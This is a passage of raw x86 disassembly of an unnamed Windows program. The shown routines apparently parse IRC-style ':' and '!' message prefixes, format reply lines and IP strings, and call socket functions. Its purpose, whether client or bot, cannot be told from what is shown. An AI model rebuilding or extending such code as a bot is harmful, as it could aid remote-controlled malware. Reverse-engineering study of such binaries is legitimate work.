bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C84 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C78 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017E4 push eax lea ecx, [esp+24h+arg_25C] call sub_401861 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_44741D mov [ebp+16h], bl call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov edx, dword_4470F4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_40FF60+EC7j push offset asc_443600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447110 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411168 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C78 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017E4 push eax lea ecx, [esp+24h+arg_34] call sub_401861 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 mov esi, dword_50FAF8 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411153 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401861 push offset byte_446F60 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41113F push offset byte_446F60 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41113F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014C9 mov ecx, offset word_448C8E call sub_401CD0 cmp eax, ebx jz short loc_41111B lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FBE loc_41111B: ; CODE XREF: sub_40FF60+11A9j push offset byte_4E6E75 lea ecx, [esp+24h+arg_34] call sub_401B72 test eax, eax jnz short loc_41113F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E6E75 push edx call sub_401FBE loc_41113F: ; CODE XREF: sub_40FF60+1173j ; sub_40FF60+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411153: ; CODE XREF: sub_40FF60+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_411168: ; CODE XREF: sub_40FF60+109Cj push offset asc_443600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447120 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4111EF push offset asc_443600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447130 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4111F4 loc_4111EF: ; CODE XREF: sub_40FF60+1238j mov [esp+20h+var_D], 1 loc_4111F4: ; CODE XREF: sub_40FF60+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C8E call sub_401CD0 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_443C78 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C8E mov byte ptr [esp+50h+arg_246C], 37h call sub_40210D lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_411327 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_40FF60+391j mov ecx, ebp call sub_401D0C loc_411327: ; CODE XREF: sub_40FF60+1D3j ; sub_40FF60+253j ... cmp [ebp+17h], bl jnz loc_40FFA2 loc_411330: ; CODE XREF: sub_40FF60+3Cj ; sub_40FF60+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FF60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411860 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402054 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411860 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4118E0: ; CODE XREF: ___:loc_40115Ej ; ___:004016EAj push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4118F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4118F8: ; CODE XREF: ___:004118EDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411910 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411910 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40196A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411990 proc near ; CODE XREF: sub_402054j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411990 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A50 proc near ; CODE XREF: sub_40196Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411A50 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B10 proc near ; CODE XREF: sub_4019D3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40196A test [esp+4+arg_0], 1 jz short loc_411B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_411B28: ; CODE XREF: sub_411B10+Dj mov eax, esi pop esi retn 4 sub_411B10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411B40 proc near ; CODE XREF: sub_401A0Aj var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411B40 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411B66 lea edi, [esi+11h] jmp short loc_411B68 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B40+1Fj xor edi, edi loc_411B68: ; CODE XREF: sub_411B40+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019B5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017E4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_411B40 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411BBC lea ebx, [esi+11h] jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BBC: ; CODE XREF: ___:00411BB5j xor ebx, ebx loc_411BBE: ; CODE XREF: ___:00411BBAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019B5 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017E4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C1B lea ebx, [esi+11h] jmp short loc_411C1D ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: ___:00411C14j xor ebx, ebx loc_411C1D: ; CODE XREF: ___:00411C19j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017E4 lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C70 lea ebx, [esi+11h] jmp short loc_411C72 ; --------------------------------------------------------------------------- loc_411C70: ; CODE XREF: ___:00411C69j xor ebx, ebx loc_411C72: ; CODE XREF: ___:00411C6Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017E4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CC5 lea ebx, [esi+11h] jmp short loc_411CC7 ; --------------------------------------------------------------------------- loc_411CC5: ; CODE XREF: ___:00411CBEj xor ebx, ebx loc_411CC7: ; CODE XREF: ___:00411CC3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019B5 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017E4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D18 lea ebx, [esi+11h] jmp short loc_411D1A ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: ___:00411D11j xor ebx, ebx loc_411D1A: ; CODE XREF: ___:00411D16j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019B5 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017E4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D71 lea ebx, [esi+11h] jmp short loc_411D73 ; --------------------------------------------------------------------------- loc_411D71: ; CODE XREF: ___:00411D6Aj xor ebx, ebx loc_411D73: ; CODE XREF: ___:00411D6Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017E4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DCF lea ebx, [esi+11h] jmp short loc_411DD1 ; --------------------------------------------------------------------------- loc_411DCF: ; CODE XREF: ___:00411DC8j xor ebx, ebx loc_411DD1: ; CODE XREF: ___:00411DCDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017E4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E2A lea ebx, [esi+11h] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: ___:00411E23j xor ebx, ebx loc_411E2C: ; CODE XREF: ___:00411E28j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017E4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E85 lea ebx, [esi+11h] jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: ___:00411E7Ej xor ebx, ebx loc_411E87: ; CODE XREF: ___:00411E83j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017E4 add esi, 13Ch push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FE0 proc near ; CODE XREF: sub_401AB9j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411FE0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+26Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+0A1h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4120E2 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 mov edx, dword_4470F0 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CDC push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_411FE0+70j lea ecx, [edi+187h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412159 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_411FE0+117j lea ecx, [edi+0FDh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412214 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016AE push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018A2 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412532 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412214: ; CODE XREF: sub_411FE0+18Ej lea ecx, [edi+12Bh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122BD push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_4470F4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4122BD: ; CODE XREF: sub_411FE0+249j lea ecx, [edi+1B5h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41232B push offset asc_443600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017E4 mov edx, dword_447120 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E0B add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41232B: ; CODE XREF: sub_411FE0+2F2j lea ecx, [edi+23Fh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41238D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E2E mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017E4 push eax add edi, 0FFFFFFEFh push offset dword_443CD4 push edi call sub_401E0B add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_411FE0+360j lea ecx, [edi+1E3h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41242D push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push 1 push offset asc_443600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014D3 push eax mov ecx, esi call sub_4014D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41242D: ; CODE XREF: sub_411FE0+3C2j lea ecx, [edi+159h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412532 push offset asc_443600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016AE mov ebx, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447124 push eax add edi, 0FFFFFFEFh push offset dword_443CC4 push edi call sub_401E0B add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412532 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_411FE0+3Aj ; sub_411FE0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call near ptr 71AB9639h nop mov ecx, offset word_448C8E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401537 loc_412532: ; CODE XREF: sub_411FE0+FDj ; sub_411FE0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411FE0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126B0 proc near ; CODE XREF: sub_401D39j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4126B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_401424 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h call near ptr 71AB951Eh nop mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EA1BD nop add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_446F60 call sub_4015D7 push offset dword_443D08 lea ecx, [esp+54h+var_24] call sub_401A9B lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401A9B push offset dword_443D04 lea ecx, [esp+54h+var_24] call sub_401A9B add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016BD push offset dword_443D04 lea ecx, [esp+54h+var_24] call sub_401A9B lea ecx, [esp+50h+var_34] push ecx call sub_401479 add esp, 4 test al, al jz short loc_4127BB push offset dword_443CF8 jmp short loc_4127C0 ; --------------------------------------------------------------------------- loc_4127BB: ; CODE XREF: sub_4126B0+102j push offset dword_443CEC loc_4127C0: ; CODE XREF: sub_4126B0+109j lea ecx, [esp+54h+var_24] call sub_401A9B mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4126B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412870 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4128CE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C8E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4128CE: ; CODE XREF: sub_412870+33j pop edi 